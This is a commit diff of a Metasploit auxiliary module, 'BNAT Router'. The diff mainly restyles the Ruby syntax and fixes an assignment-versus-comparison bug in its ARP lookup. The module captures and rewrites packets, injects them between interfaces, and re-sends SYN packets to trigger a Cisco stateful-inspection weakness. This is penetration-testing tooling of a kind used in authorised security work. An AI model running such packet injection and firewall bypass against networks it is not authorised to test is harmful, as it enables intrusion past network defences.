@@ -7,55 +7,54 @@ class MetasploitModule < Msf::Auxiliary
77
88 def initialize
99 super (
10- 'Name' => 'BNAT Router' ,
11- 'Description' => %q{
10+ 'Name' => 'BNAT Router' ,
11+ 'Description' => %q{
1212 This module will properly route BNAT traffic and allow for connections to be
1313 established to machines on ports which might not otherwise be accessible.} ,
14- 'Author' =>
15- [
16- 'bannedit' ,
17- 'Jonathan Claudius' ,
18- ] ,
19- 'License' => MSF_LICENSE ,
20- 'References' =>
21- [
22- [ 'URL' , 'https://github.com/claudijd/bnat' ] ,
23- [ 'URL' , 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels' ]
24- ]
14+ 'Author' => [
15+ 'bannedit' ,
16+ 'Jonathan Claudius' ,
17+ ] ,
18+ 'License' => MSF_LICENSE ,
19+ 'References' => [
20+ [ 'URL' , 'https://github.com/claudijd/bnat' ] ,
21+ [ 'URL' , 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels' ]
22+ ]
2523 )
2624 register_options (
27- [
28- OptString . new ( 'OUTINF' , [ true , 'The external interface connected to the internet' , 'eth1' ] ) ,
29- OptString . new ( 'ININF' , [ true , 'The internal interface connected to the network' , 'eth2' ] ) ,
30- OptString . new ( 'CLIENTIP' , [ true , 'The ip of the client behind the BNAT router' , '192.168.3.2' ] ) ,
31- OptString . new ( 'SERVERIP' , [ true , 'The ip of the server you are targeting' , '1.1.2.1' ] ) ,
32- OptString . new ( 'BNATIP' , [ true , 'The ip of the bnat response you are getting' , '1.1.2.2' ] ) ,
33- ] )
25+ [
26+ OptString . new ( 'OUTINF' , [ true , 'The external interface connected to the internet' , 'eth1' ] ) ,
27+ OptString . new ( 'ININF' , [ true , 'The internal interface connected to the network' , 'eth2' ] ) ,
28+ OptString . new ( 'CLIENTIP' , [ true , 'The ip of the client behind the BNAT router' , '192.168.3.2' ] ) ,
29+ OptString . new ( 'SERVERIP' , [ true , 'The ip of the server you are targeting' , '1.1.2.1' ] ) ,
30+ OptString . new ( 'BNATIP' , [ true , 'The ip of the bnat response you are getting' , '1.1.2.2' ] ) ,
31+ ]
32+ )
3433 end
3534
3635 def run
3736 clientip = datastore [ 'CLIENTIP' ]
3837 serverip = datastore [ 'SERVERIP' ]
39- bnatip = datastore [ 'BNATIP' ]
40- outint = datastore [ 'OUTINF' ]
41- inint = datastore [ 'ININF' ]
38+ bnatip = datastore [ 'BNATIP' ]
39+ outint = datastore [ 'OUTINF' ]
40+ inint = datastore [ 'ININF' ]
4241
43- clientmac = arp2 ( clientip , inint )
42+ clientmac = arp2 ( clientip , inint )
4443 print_line ( "Obtained Client MAC: #{ clientmac } " )
45- servermac = arp2 ( serverip , outint )
44+ servermac = arp2 ( serverip , outint )
4645 print_line ( "Obtained Server MAC: #{ servermac } " )
47- bnatmac = arp2 ( bnatip , outint )
46+ bnatmac = arp2 ( bnatip , outint )
4847 print_line ( "Obtained BNAT MAC: #{ bnatmac } \n \n " )
4948
5049 # Create Interface Specific Configs
51- outconfig = PacketFu ::Config . new ( PacketFu ::Utils . ifconfig ":#{ outint } " ) . config
52- inconfig = PacketFu ::Config . new ( PacketFu ::Utils . ifconfig ":#{ inint } " ) . config
50+ outconfig = PacketFu ::Config . new ( PacketFu ::Utils . ifconfig ( ":#{ outint } " ) ) . config
51+ inconfig = PacketFu ::Config . new ( PacketFu ::Utils . ifconfig ( ":#{ inint } " ) ) . config
5352
5453 # Set Captures for Traffic coming from Outside and from Inside respectively
55- outpcap = PacketFu ::Capture . new ( : iface => " #{ outint } " , : start => true , : filter => "tcp and src #{ bnatip } " )
54+ outpcap = PacketFu ::Capture . new ( iface : outint . to_s , start : true , filter : "tcp and src #{ bnatip } " )
5655 print_line ( "Now listening on #{ outint } ..." )
5756
58- inpcap = PacketFu ::Capture . new ( : iface => " #{ inint } " , : start => true , : filter => "tcp and src #{ clientip } and dst #{ serverip } " )
57+ inpcap = PacketFu ::Capture . new ( iface : inint . to_s , start : true , filter : "tcp and src #{ clientip } and dst #{ serverip } " )
5958 print_line ( "Now listening on #{ inint } ...\n \n " )
6059
6160 # Start Thread from Outside Processing
@@ -65,7 +64,7 @@ def run
6564 packet = PacketFu ::Packet . parse ( pkt )
6665
6766 # Build a shell packet that will never hit the wire as a hack to get desired mac's
68- shell_pkt = PacketFu ::TCPPacket . new ( : config => inconfig , : timeout => 0.1 , : flavor => " Windows" )
67+ shell_pkt = PacketFu ::TCPPacket . new ( config : inconfig , timeout : 0.1 , flavor : ' Windows' )
6968 shell_pkt . ip_daddr = clientip
7069 shell_pkt . recalc
7170
@@ -75,9 +74,9 @@ def run
7574 packet . eth_saddr = shell_pkt . eth_saddr
7675 packet . eth_daddr = clientmac
7776 packet . recalc
78- inj = PacketFu ::Inject . new ( : iface => " #{ inint } " , : config => inconfig )
79- inj . a2w ( : array => [ packet . to_s ] )
80- print_status ( " inpacket processed" )
77+ inj = PacketFu ::Inject . new ( iface : inint . to_s , config : inconfig )
78+ inj . a2w ( array : [ packet . to_s ] )
79+ print_status ( ' inpacket processed' )
8180 end
8281 end
8382 end
@@ -97,47 +96,47 @@ def run
9796 end
9897
9998 # Build a shell packet that will never hit the wire as a hack to get desired mac's
100- shell_pkt = PacketFu ::TCPPacket . new ( : config=> outconfig , : timeout=> 0.1 , : flavor=> " Windows" )
99+ shell_pkt = PacketFu ::TCPPacket . new ( config : outconfig , timeout : 0.1 , flavor : ' Windows' )
101100 shell_pkt . ip_daddr = serverip
102101 shell_pkt . recalc
103102
104103 # Mangle Received Packet and Drop on the Wire
105104 packet . eth_saddr = shell_pkt . eth_saddr
106- packet . ip_saddr = shell_pkt . ip_saddr
105+ packet . ip_saddr = shell_pkt . ip_saddr
107106 packet . recalc
108- inj = PacketFu ::Inject . new ( : iface => " #{ outint } " , : config => outconfig )
109- inj . a2w ( : array => [ packet . to_s ] )
107+ inj = PacketFu ::Inject . new ( iface : outint . to_s , config : outconfig )
108+ inj . a2w ( array : [ packet . to_s ] )
110109
111110 # Trigger Cisco SPI Vulnerability by Double-tapping the SYN
112111 if packet . tcp_flags . syn == 1 && packet . tcp_flags . ack == 0
113112 select ( nil , nil , nil , 0.75 )
114- inj . a2w ( : array => [ packet . to_s ] )
113+ inj . a2w ( array : [ packet . to_s ] )
115114 end
116- print_status ( " outpacket processed" )
115+ print_status ( ' outpacket processed' )
117116 end
118117 end
119118 end
120119 fromout . join
121120 fromin . join
122121 end
123122
124- def arp2 ( target_ip , int )
125- config = PacketFu ::Config . new ( PacketFu ::Utils . ifconfig ":#{ int } " ) . config
126- arp_pkt = PacketFu ::ARPPacket . new ( : flavor => " Windows" )
123+ def arp2 ( target_ip , int )
124+ config = PacketFu ::Config . new ( PacketFu ::Utils . ifconfig ( ":#{ int } " ) ) . config
125+ arp_pkt = PacketFu ::ARPPacket . new ( flavor : ' Windows' )
127126 arp_pkt . eth_saddr = arp_pkt . arp_saddr_mac = config [ :eth_saddr ]
128- arp_pkt . eth_daddr = " ff:ff:ff:ff:ff:ff"
129- arp_pkt . arp_daddr_mac = " 00:00:00:00:00:00"
127+ arp_pkt . eth_daddr = ' ff:ff:ff:ff:ff:ff'
128+ arp_pkt . arp_daddr_mac = ' 00:00:00:00:00:00'
130129 arp_pkt . arp_saddr_ip = config [ :ip_saddr ]
131130 arp_pkt . arp_daddr_ip = target_ip
132- cap = PacketFu ::Capture . new ( : iface => config [ :iface ] , : start => true , : filter => "arp src #{ target_ip } and ether dst #{ arp_pkt . eth_saddr } " )
133- injarp = PacketFu ::Inject . new ( : iface => config [ :iface ] )
134- injarp . a2w ( : array => [ arp_pkt . to_s ] )
131+ cap = PacketFu ::Capture . new ( iface : config [ :iface ] , start : true , filter : "arp src #{ target_ip } and ether dst #{ arp_pkt . eth_saddr } " )
132+ injarp = PacketFu ::Inject . new ( iface : config [ :iface ] )
133+ injarp . a2w ( array : [ arp_pkt . to_s ] )
135134 target_mac = nil
136135
137136 while target_mac . nil?
138137 if cap . save > 0
139138 arp_response = PacketFu ::Packet . parse ( cap . array [ 0 ] )
140- target_mac = arp_response . arp_saddr_mac if arp_response . arp_saddr_ip = target_ip
139+ target_mac = arp_response . arp_saddr_mac if arp_response . arp_saddr_ip == target_ip
141140 end
142141 select ( nil , nil , nil , 0.1 ) # Check for a response ten times per second.
143142 end
0 commit comments